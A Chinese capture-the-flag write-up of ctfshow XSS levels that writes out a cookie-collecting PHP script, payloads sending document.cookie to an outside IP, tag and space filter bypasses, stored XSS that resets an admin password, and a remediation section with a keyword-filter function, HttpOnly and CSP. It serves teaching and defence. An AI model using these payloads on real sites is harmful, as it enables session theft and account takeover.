WEB攻防-通用漏洞_XSS跨站_绕过修复_http_only_CSP_标签符号

目录

[1、关卡361 - 反射型xss](#1、关卡361 - 反射型xss)

[2、关卡317 - 过滤标签](#2、关卡317 - 过滤标签)

[3、关卡318 319 - 过滤标签](#3、关卡318 319 - 过滤标签)

[4、关卡320--326 - 过滤空格和尖括号](#4、关卡320--326 - 过滤空格和尖括号)

[5、关卡327 - 存储型跨站](#5、关卡327 - 存储型跨站)

6、关卡328

[7、关卡329 - 失效凭据需1步完成所需操作](#7、关卡329 - 失效凭据需1步完成所需操作)

[8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)](#8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码))

[9、关卡331 - post提交修改密码](#9、关卡331 - post提交修改密码)

修复方案

1.字符过滤

2、httponly过滤

3、CSP安全策略

4、其它防止跨站的策略


下面是ctfshow的关卡

1、关卡361 - 反射型xss

在文本框中输入123,页面中就出现123;即,在输入框中输入什么,页面中就会出现什么

测试:输入"<script>alert(1)</script>"是否会出现弹窗

测试结果:出现弹窗,说明存在跨站xss漏洞

怎么去获取这个flag呢,在ctfshow默认会有一个机器人,生成好跨站地址后,机器人会自动去访问地址触发跨站,然后让管理员把他的cookie发送出来,作为考题,flag在cookie中。 那么应该怎么获取管理员的cookie呢?

首先我们要知道在js中,document.cookie可以获取到当前的cookie,和window.location.href是跳转到url,通过这两个内部函数去让浏览器给我们发送cookie,只要打开我们构造的URL就让发生cookie到我们服务器中。所以我们要先准备一个api接收从目标网站返回的cookie信息

在自己的服务器建一个get.php

php 复制代码
# get.php
<?php 
$cookie=$_GET['c']; 
$myfile = fopen("cookie.txt", "w+"); 
fwrite($myfile, $cookie); 
fclose($myfile); 
?>

构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie\</script>

在输入框输入跨站语句,点击"生成链接",当机器人去触发,就可以获取到flag了

2、关卡317 - 过滤标签

上一关的跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie\</script>

在输入框输入前一关的跨站语句,点击"生成链接",发现网站没有反应,页面没有显示js语句,浏览器也没有跳转,但是正常 的输入123这样的,shi没问题的,通过尝试发现输入的语句中只要出现了<script>,网站就会对其进行过滤,那么我们把<script>标签换成其它的标签

常见的绕过,参考文章:https://xz.aliyun.com/t/4067

比如把script标签换成img标签,如<img src=1 onerror=alert("xss");>

测试:在输入框中输入img标签的跨站语句,点击"生成链接",结果弹窗

构造payload:

① <img src=1 οnerrοr=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;\> 当图片地址不存在时,触发事件,测试失败,猜测可能图片1是存在

② <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 失败

③ <body/οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;\> 成功

这个是什么原因呢? 为什么body可以,img不行。其实这是和鼠标事件有关。鼠标事件有错误事件(onerror),有单击事件(onclick),指向触发,还有事件会在页面或图像加载完成后立即发生(onload,这个是最好的,不需要任何操作就可触发的)

3、关卡318 319 - 过滤标签

用前面的payload:<img src=adf οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie\> 一样也是被过滤了,

然后用到input标签:<input οnlοad="alert('xss');"> 构造payload: <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">没反应?换一个

用svg标签构造payload: <svg οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到cookie和flag

4、关卡320--326 - 过滤空格和尖括号

通过测试,发现过滤了空格和<>,只要有空格或尖括号都不行

考虑绕过空格,用/代替空格 <img/src="x"/οnerrοr=alert("xss");>

构造payload: <svg/οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到flag

5、关卡327 - 存储型跨站

将跨站语句写到邮件内容中,邮件发送成功后,对方打开邮件就会触发跨站

信的内容写跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie\</script> 收件人要写上admin。

6、关卡328

这一关出现了注册登录查看等操作,直接登录自己的账号,因为不是管理员,页面中的用户名和密码不让显示

思路: 后台管理员能够查看注册用户的账号密码,如果我注册账号时,将自己的账号或密码改为js代码,注册后js代码被存储到数据库中,当管理员查看这个账号管理的页面时,会不会触发js代码,触发了JavaScript代码后,我就可以获取到管理员的cookie值,然后可以进行用户的查看。

构造payload: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie\</script>

获取到管理员cookie:sessionID

用burp抓包,修改cookie的值,实现admin登录,查看到所有账户信息:

7、关卡329 - 失效凭据需1步完成所需操作

在页面和上一关一样, 所以同理,可以用到上一关的payload来获取cookie的值, <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie\</script> 可以获取到cookie,但是用获取的cookie一直登录不成功,因为收到的cookie可能每10s就刷新一次,机器人刚把cookie发过来,它就退出登录,cookie就失效了

那么应该怎么处理这个问题呢? 思路:xss跨站代码,可以获取到页面的cookie的值,也可以获取到当前页面的源代码。上一关显示源码中的flag位置,在页面密码下的第一行。 查看元素,看看是什么标识这个变量

可以看出,是layui-table-cell laytable-cell-1-0-1的标签标识了管理员可见,那么就构造payload,在触发XSS跨站代码的时候将"ctfshow{xxxxx}"中的flag值发送到指定位置。

在xss平台上也有这个功能,但是一直都不能成功 https://xss8.cc/

自己写JS代码获取值

javascript 复制代码
<script>$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){//没找到索引就返回-1    
        window.location.href='http://47.100.167.248/get.php?c='+value.innerHTML;     
    } 
});
</script> 

注册时,JS语句写在代码处,然后登录:

直接获取到flag的值:

8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)

修改密码页面,经过抓包分析,得知,只要是登录状态,修改密码只需要访问/api/change.php?p=111111这个接口地址,就能把成功修改密码。

这个地址修改的密码是谁的密码呢?是当前登录用户;如果管理员登录了后台,同时查看了用户的注册密码信息,就可以尝试重置密码。

攻击思路:注册用户时,填写的用户名或密码是可以跳转到修改密码URL的JS代码,注册成功后,注册信息被写入数据库,只要管理员登录后台并查看了这个用户密码管理页面,就可以触发JS代码的执行,自动跳转重置密码URL,并重置管理员的密码。

构造payload:

<script> window.location.href='http://127.0.0.1/api/change.php?p=123';</script> //触发跳转管理员本地地址,实际操作中本地地址和实际地址都要写上

实际操作改为:<script> src='http://127.0.0.1/api/change.php?p=123';</script> //最好用src,浏览器不会明显地跳转到指定页面,而是悄悄地触发这个地址

注册账户时,用户名和密码处都填写为JS代码(因为不知道用户名和密码哪一个可以触发JS代码):

等待机器人触发JS代码后,管理员密码被修改成功,这样就可以用admin、123成功登录管理员账号了:

9、关卡331 - post提交修改密码

同样是修改密码的地方,但是是post提交数据,抓包分析

那么应该怎么使用JavaScript来进行post提交数据呢?

构造payload:

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

注册时,用户名和密码处填写注入语句:

JS代码被触发后,用admin登录,就可以得到flag

修复方案

1.字符过滤

自定义过滤函数:检测输入的xss代码,一旦检测到关键字,就过滤

过滤一些危险字符,以及转义& < > " ' 等危险字符

javascript 复制代码
# 自定义过滤函数function RemoveXSS($val) {
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
    // this prevents some character re-spacing such as <java\0script>
    // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
    // straight replacements, the user should never need these since they're normal characters
    // this prevents like <IMG SRC=@avascript:alert('XSS')>
    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for ($i = 0; $i < strlen($search); $i++) {
        // ;? matches the ;, which is optional
        // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
        // @ @ search for the hex values
        $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
        // @ @ 0{0,7} matches '0' zero to seven times
        $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
    }
    // 检测xss语句中常见的关键字 now the only remaining whitespace attacks are \t, \n, and \r
    $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title');
    $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
    $ra = array_merge($ra1, $ra2);
    $found = true; // keep replacing as long as the previous round replaced something
    while ($found == true) {
        $val_before = $val;
        for ($i = 0; $i < sizeof($ra); $i++) {
            $pattern = '/';
            for ($j = 0; $j < strlen($ra[$i]); $j++) {
                if ($j > 0) {
                    $pattern .= '(';
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)';
                    $pattern .= '|';
                    $pattern .= '|(&#0{0,8}([9|10|13]);)';
                    $pattern .= ')*';
                }
                $pattern .= $ra[$i][$j];
            }
            $pattern .= '/i';
            $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
            $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
            if ($val_before == $val) {
                // no replacements were made, so exit the loop
                $found = false;
            }
        }
    }
    return $val;
}

2、httponly过滤

httponly是微软对cookie做的扩展,主要是解决用户的cookie可能被盗用的问题,它用于限制Cookie的访问权限,禁止客户端的JavaScript代码访问和修改设置了HTTPOnly属性的Cookie,开启后即使获取到cookie,也是不完整的cookie

3、CSP安全策略

其核心目的是通过限制网页可以加载的外部资源,防止恶意脚本通过第三方资源注入到网站中。它允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行。

例:

在zb_system/admin/index.php 这个文件中设置跨站代码<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> ,刷新这个页面http://127.0.0.1:8107/zb_system/admin/index.php 可以发现他向xss平台发送了数据。

如果设置了CSP,cookie不能发送不出去

4、其它防止跨站的策略

1. 将输入的内容进行长度限制;

2. 实体转义等,比如,把<转义成7gt &gt等

PHP针对HTML实体字符的转义函数有:

① htmlspecialchars()

② htmlspecialchars_decode()

③ htmlentities()

④ html_entity_decode() 函数

相关推荐
半点寒12W4 分钟前
CSS3 动画详解
前端·css·css3
桂月二二6 分钟前
深入探索 Vue.js 组件开发中的最新技术:Teleport 和 Suspense 的使用
前端·javascript·vue.js
影子信息13 分钟前
element 日期时间组件默认显示当前时间
java·前端·javascript
墨轩尘1 小时前
vue项目引入阿里云svg资源图标
前端·vue.js·阿里云
神仙别闹2 小时前
基于Vue和Vuex实现俄罗斯方块小游戏
前端·javascript·vue.js
然然阿然然3 小时前
2025.1.15——五、时间盲注
数据库·安全·web安全·网络安全
然然阿然然3 小时前
2025.1.15——四、布尔注入
数据库·sql·学习·网络安全
半点寒12W4 小时前
css3网格布局
前端·css·css3
黑客Ash6 小时前
网络安全中攻击溯源有哪些方法?
网络·安全·web安全